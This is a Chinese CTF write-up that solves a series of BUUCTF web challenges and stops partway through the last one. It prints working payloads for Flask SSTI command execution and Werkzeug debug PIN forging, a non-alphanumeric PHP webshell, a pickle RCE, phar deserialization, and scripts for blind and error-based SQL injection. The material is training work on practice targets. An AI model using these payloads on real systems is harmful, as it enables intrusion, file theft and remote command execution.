BUUCTF Web Writeup 5

BUUCTF 刷题记录…

最近忙着开学耽误了一点时间

[GYCTF2020]FlaskApp

提示如下

参考文章 https://xz.aliyun.com/t/8092

大致就是说, 一般情况下同一台机器生成的 flask pin 是一样的, 我们可以通过 ssti 读取对应文件, 然后构造 pin 登录, 进入 debug 模式下的交互式终端, 最终 getshell

base64 解密的时候随便输点东西

点击爆出的源码右边的 logo 会显示如下内容

很明显这个 flask app 开启了 debug 模式

回到之前的报错代码

使用了 render_template_string 进行渲染

填入 base64 编码后的 {{ config }}

存在 ssti

过滤了 __import__ os popen 之类的关键词, 可以拼接绕过 (这时候其实可以非预期了…)

根据报错信息可以知道环境是 python3, 构造下 payload

先读取 /etc/passwd

1
2
3
4
5
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
{%endif%}
{%endfor%}

推测用户是 flaskweb

然后在报错信息中找到 app.py 的路径

读取 mac 地址

int('bea35d10966d',16) 转成十进制后为 209608850314861

最后是读取系统 id, 这个在不同 flask 版本 (2020.1.5 前后) 的拼接方式还不太一样… 参考文章里写的比较详细

测试的时候发现直接读取 /etc/machine-id 就行

利用文章里给出的脚本生成 pin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '209608850314861',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
1
273-975-565

输入后得到交互式终端

非预期解的方式是直接字符串拼接绕过过滤, 然后导入 os 执行命令

1
2
3
4
5
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen']('cat /this_is_the_f'+'lag.txt').read() }}
{%endif%}
{%endfor%}

[极客大挑战 2019]RCE ME

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
  $code=$_GET['code'];
  if(strlen($code)>40){
      die("This is too Long.");
   }
  if(preg_match("/[A-Za-z0-9]+/",$code)){
      die("NO.");
    }
  @eval($code);
}
else{
  highlight_file(__FILE__);
}
?>

考察无字母数字 webshell

php7 环境, 可以直接用取反

1
2
3
4
5
<?php
echo urlencode(~"assert");
echo "<br/>";
echo urlencode(~'eval($_REQUEST[1]);');
?>

使用 system 执行命令失败了, 估计是开了 disable_functions, 换成了一句话

1
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%CE%A2%D6%C4);

看一下 phpinfo

禁用了一大堆命令执行相关的函数…

蚁剑连接后看到了 flag readflag 两个文件

直接查看 /flag 为空, 猜测是要运行 readflag 这个命令才行, 所以需要 bypass disable_functions

这里用的是 php7 backtrace UAF

[MRCTF2020]套娃

右键源代码

1
2
3
4
5
6
7
8
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

利用的是 php 字符串解析的特性, 之前也遇到过

https://www.freebuf.com/articles/web/213359.html

b_u_p_t 改成 b.u.p.t

还需要绕过正则, 加一个 %0a 就可以了, 因为这里默认是单行匹配, 不会匹配到换行符

访问 secrettw.php

aaencode, 在 F12 控制台中输入

post 一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

检测 ip 的原理经测试发现利用的是 Client-IP, 2333 的传参可以用 data 协议

然后 change 这里很容易就可以写出对应的逆函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
function encode($v){
  $re = '';
  for ($i=0;$i<strlen($v);$i++){
    $re .= chr(ord($v[$i]) - $i*2);
  }
  return base64_encode($re);
}

echo encode('php://filter/read=convert.base64-encode/resource=flag.php');
?>

[WUSTCTF2020]颜值成绩查询

简单 sql 注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import time
import requests

url = 'http://4970b328-dd5a-492d-bd32-f084c1f25f13.node4.buuoj.cn:81/index.php?stunum=1'

dicts = ',{}-0123456789abcdefgl'

flag = ''

for i in range(1,100):
    for s in dicts:
        time.sleep(0.5)
        payload = '/**/and/**/ascii(substr((select/**/group_concat(flag,value)/**/from/**/flag),{},1))={}'.format(i,ord(s))
        res = requests.get(url + payload, timeout=30)
        if 'admin' in res.text:
            flag += s
            print(flag)

[FBCTF2019]RCEService

一开始 cmd 怎么传也不行, 看了 wp 才知道 get 需要这样传参

1
?cmd={"cmd":"ls"}

题目源码找不出来, 但是看原题的 wp 是有源码的, 不知道什么情况…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

putenv 相当于一个简陋的沙盒, 让 shell 默认从 /home/rceservice/jail 下寻找命令, 后面看的时候发现这个目录下只有一个 ls, 但其实使用绝对路径执行命令 (/bin/cat) 就能够绕过限制了

is_string 限制了传参不能为数组, 所以这里的关键点是如何绕过 preg_match

其中正则使用了 .*, 而且后面跟了一大堆需要过滤的字符, 可以尝试回溯绕过

查找后发现 flag 在 /home/rceservice/flag 里面, 然后通过绝对路径指定 cat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests
import json

url = 'http://d74b595f-f641-43c5-87fb-36ddfabc88f0.node4.buuoj.cn:81/'

data = {
    "cmd": r'{"cmd":"/bin/cat /home/rceservice/flag","aa":"' + 'a'*1000000 +'"}'
}

res = requests.post(url,data=data)
print(res.text)

另外一种方式是用换行符 %0a 绕过, 因为 . 不匹配换行符

参考文章 https://www.cnblogs.com/20175211lyz/p/12198258.html

1
cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}

不过还不太清楚为啥 %0a 要加在大括号里面…

[Zer0pts2020]Can you guess it?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

考察 basename 的绕过, 源码后面的 hash_equals 应该没有办法绕过 (障眼法?)

参考文章 https://www.cnblogs.com/yesec/p/15429527.html

With the default locale setting “C”, basename() drops non-ASCII-chars at the beginning of a filename.

在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。

测试后发现非 ASCII 字符必须要加在 / 的后面, 例如

1
2
/index.php/NON_ASCII
/index.php/NON_ASCIIindex.php

fuzz 一下非 ASCII 字符

1
2
3
4
5
6
7
8
9
<?php
for($i=0;$i<255;$i++){
  $filename = 'config.php/'.chr($i);
  if (basename($filename) === 'config.php'){
    echo urlencode(chr($i));
    echo "<br/>";
  }
}
?>
1
2
3
4
5
6
7
8
9
%2F
%5C
%81
%82
%83
......
%FD
%FE
%FF

%2F/, 在正则的过滤名单里, %5C\, 但实际测试发现会读取 \ 这个不存在的文件

其余的字符都可以绕过, 这里用 %FF

[CISCN2019 华北赛区 Day1 Web2]ikun

buu 提示是 python pickle 反序列化

猜测可能是要买 lv6 的账号, 翻了几页发现还挺多的, 于是用脚本跑一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests
import time

for i in range(1,501):
    time.sleep(0.2)
    url = 'http://93325b5c-aa6b-4779-8b56-fa3d3561c79d.node4.buuoj.cn:81/shop?page=' + str(i)
    res = requests.get(url)
    if 'lv6.png' in res.text:
        print('FOUND!',i)
        break
    else:
        print(i)

跑出来在第 181 页

购买的时候要登陆, 先注册一个账号

加入购物车

钱不够… 抓包看看能不能改价格

更改 price 一直显示操作失败, 改 discount 就可以了

之后会跳转到 /b1g_m4mber 这个地址

去爆破了一下 admin 的密码, 尝试 sql 注入都失败了

想着是不是伪造 cookie, 结果倒是发现了 jwt

参考文章如下

https://si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/

jwt.io 在线解密

思路应该是构造 username=admin

尝试把加密算法设置为 None, 结果报了 500

然后尝试爆破 jwt key (后期看 wp 发现依据是 jwt 长度较短?)

https://github.com/brendan-rius/c-jwt-cracker

key 为 1Kun

然后去 jwt.io 生成 admin 的 jwt token

发现 www.zip, 下载解压

Admin.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

存在 pickle 反序列化, payload 如下

1
2
3
4
5
6
7
8
c__builtin__
eval
p0
(S"__import__('os').popen('cat /flag.txt').read()"
p1
tp2
Rp3
.

post 请求的时候需要加上 _xsrf, 我就在之前的请求包里面随便找了一个, 不加的话会返回 403

[CSCCTF 2019 Qual]FlaskLight

get 传参 search=123

猜测有 ssti

之后就是用 builtins + eval 执行命令

测试后发现过滤了 globals, 但是 request.args 以及各种符号没有被过滤

payload 如下

1
{{ ''[request.args.a][request.args.b][-1][request.args.c]()[59][request.args.d][request.args.e][request.args.f][request.args.g](request.args.h) }}

get 传参

1
&a=__class__&b=__mro__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&g=eval&h=__import__('os').popen('whoami').read()

看 wp 的时候发现还可以用 subprocess.Popen 执行命令

1
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

另外还有类似 __init__["__glo"+"bals__"] 的拼接, 未测试

[NCTF2019]True XML cookbook

跟之前有一题差不多, 也是 xxe

读取 /flag 提示找不到文件, 猜测可能是在内网中

下面是一些可能获取到内网 ip 的敏感文件

1
2
3
4
5
6
7
/etc/network/interfaces
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

这题弄了好久, arp 表里的地址不行, 反而是 fib_trie 里的能够得到 flag

爆破一下内网网段

[GWCTF 2019]枯燥的抽奖

check.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
5ZedaSs3I5

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

考察伪随机数漏洞

先设置一个 0-999999999 的种子, 然后调用 20 次 mt_rand 从大小写字母和数字中截取内容拼接得到 str

str 截取 0-10 位后就是 5ZedaSs3I5

伪随机数的相关文章链接这里就不写了, 之前也见过几次

最主要的还是 php_mt_seed 工具的使用

1
2
3
php_mt_seed xxx # 其中 xxx 为用 mt_srand 播种后生成的第一个伪随机数

php_mt_seed a b c d ... # a-b 为生成的随机数的范围, c-d 对应 mt_rand(c,d)

其中第二种使用方法可以设置多个随机数序列, 然后依靠这个序列得到最初生成的种子

首先根据源码生成能够被 php_mt_seed 识别的格式

1
2
3
4
5
6
7
8
d = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' # length:62
c = '5ZedaSs3I5'

output = ''

for s in c:
    output += str(d.index(s)) + ' ' + str(d.index(s)) + ' 0 61 '
print(output)
1
31 31 0 61 61 61 0 61 4 4 0 61 3 3 0 61 0 0 0 61 54 54 0 61 18 18 0 61 29 29 0 61 44 44 0 61 31 31 0 61

然后跑一下

1
./php_mt_seed 31 31 0 61 61 61 0 61 4 4 0 61 3 3 0 61 0 0 0 61 54 54 0 61 18 18 0 61 29 29 0 61 44 44 0 61 31 31 0 61

本地生成完整的字符串 (注意 php 版本)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
mt_srand(664291815);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>

提交得到 flag

[CISCN2019 华北赛区 Day1 Web1]Dropbox

登录和注册的地方都没有 sql 注入

先注册一个 test 用户登录看看

左上角可以上传文件

有下载和删除两个选项

先看看下载

然后把源码都弄下来

download.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

class.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

其中 File 类里面的 open 方法调用了 file_exists 和 is_dir

加上 buu 提示的 phar, 应该是 phar 反序列化

然后看一下 User 类

1
2
3
public function __destruct() {
    $this->db->close();
}

其中的 close 和 File 类中的 close 同名, 利用这里的条件可以触发 file_get_contents

不过问题在于直接调用会没有回显

绕了一圈发现 FileList 类中的 __call__destruct 有点意思

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
        $this->results[$file->name()][$func] = $file->$func();
    }
}

public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
        $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
        $table .= '<tr>';
        foreach ($result as $func => $value) {
            $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
        }
        $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
        $table .= '</tr>';
    }
    echo $table;
}

这里的 $results 存储着每一个 File 对象调用 $func() 方法返回的结果

而且 __destruct 方法会将 $results 的结果输出

所以我们可以通过 User 中的 $this->db->close() 触发 FileList 类的 __call, 然后继续对每一个 File 调用 close, 最后在析构的时候将 file_get_contents 返回的结果输出

利用链如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class User{
    public $db;
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    function __construct($files, $results, $funcs){
        $this->files = $files;
        $this->results = $results;
        $this->funcs = $funcs;
    }
}

class File{
    public $filename;
}


$c = new File();
$c->filename = '/flag.txt';

$b = new FileList(array($c),array('flag.txt'=>array()),array());

$a = new User();
$a->db = $b;

$phar =new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成 phar 文件后改后缀为 jpg 上传, 然后在 download.php 里指定 filename=phar://./phar.jpg 触发反序列化

结果读取失败了… 试了 flag 文件也不行, 原因是这一条代码

1
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

open_basedir 能够绕过的基础是代码执行, 但这里只有 file_get_contents 能用, 绕不过去

于是又看了一会, 发现还有删除的操作

delete.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

这次里面没有 open_basedir 的限制, 而且跟 download.php 一样调用了 $file->open($filename)

最终从这个地方触发反序列化

[RCTF2015]EasySQL

15 年的题…

先注册一个用户, 这里用双引号, 之前用单引号的时候不能报错 (后面看到官方 wp 里写到注册 aaa\ 用户, 也是一种检测方法)

下面的几个链接测试后发现没有注入…

看看个人中心

修改密码

有注入, 测试后发现 and * 和空格都被过滤了, 可以用括号绕过

最终构造的 payload 如下

1
1"&&(updatexml(1,concat(0x7e,(select(user())),0x7e),1))#

后面就是常规的查表查字段

查数据的时候发现程序过滤了 substr substring mid left right 这些字符串截取的函数, 而且 updatexml 存在最大 32 位的长度限制

一种思路是写脚本盲注

另一种思路是利用 replace 替换掉之前已经查出的内容, 这样再查询返回的结果就是 32 位以后的内容了

因为一直重复 register login changepwd 的操作比较麻烦, 就写了个脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

session = requests.session()

def register(sql):
    url = 'http://f3418ca6-ca1d-4c29-9a4b-f268e01a9fea.node4.buuoj.cn:81/register.php'
    data = {
    'username': sql,
    'password': '1',
    'email': '1'
    }
    _ = session.post(url,data=data)

def login(sql):
    url = 'http://f3418ca6-ca1d-4c29-9a4b-f268e01a9fea.node4.buuoj.cn:81/login.php'
    data = {
    'username': sql,
    'password': '1'
    }
    _ = session.post(url,data=data)
def changepwd():
    url = 'http://f3418ca6-ca1d-4c29-9a4b-f268e01a9fea.node4.buuoj.cn:81/changepwd.php'
    data = {
    'oldpass': '1',
    'newpass': '1'
    }
    res = session.post(url,data=data)
    print(res.text.replace('<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>',''))

sql = '''1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag')),0x7e),1)#'''
#sql = '''1"&&updatexml(1,concat(0x7e,(select(replace((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag')),'flag{fc0fbd0f-1d9b-48ef-9fbb-5d',''))),0x7e),1)#'''
register(sql)
login(sql)
changepwd()

这里说一下 payload

1
1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag')),0x7e),1)#

直接查询 real_flag_1s_here 的内容会返回一堆无关数据, 而且 like rlike 这些会被过滤, 但好在 regexp 没有被过滤

然后写的时候注意括号不要闭合错了

最后运行脚本得到 flag

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

右键源代码

猜测是文件包含

把 php 都下载下来

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

设置了 open_basedir, 只有 include 可控的话无法绕过…

网站本身有很多订单操作的逻辑, 猜测可能是通过注入的方式得到 flag

confirm.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

pattern 几乎把能过滤的都给过滤的, 试了下堆叠注入发现执行失败

这里 user_name phone 怎么传都显示不了 no sql inject!, 只有 未找到订单

但这个查询的地方确实也是有 sql 注入的…

然后看到 change.php 里有一处直接拼接的 sql 语句

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
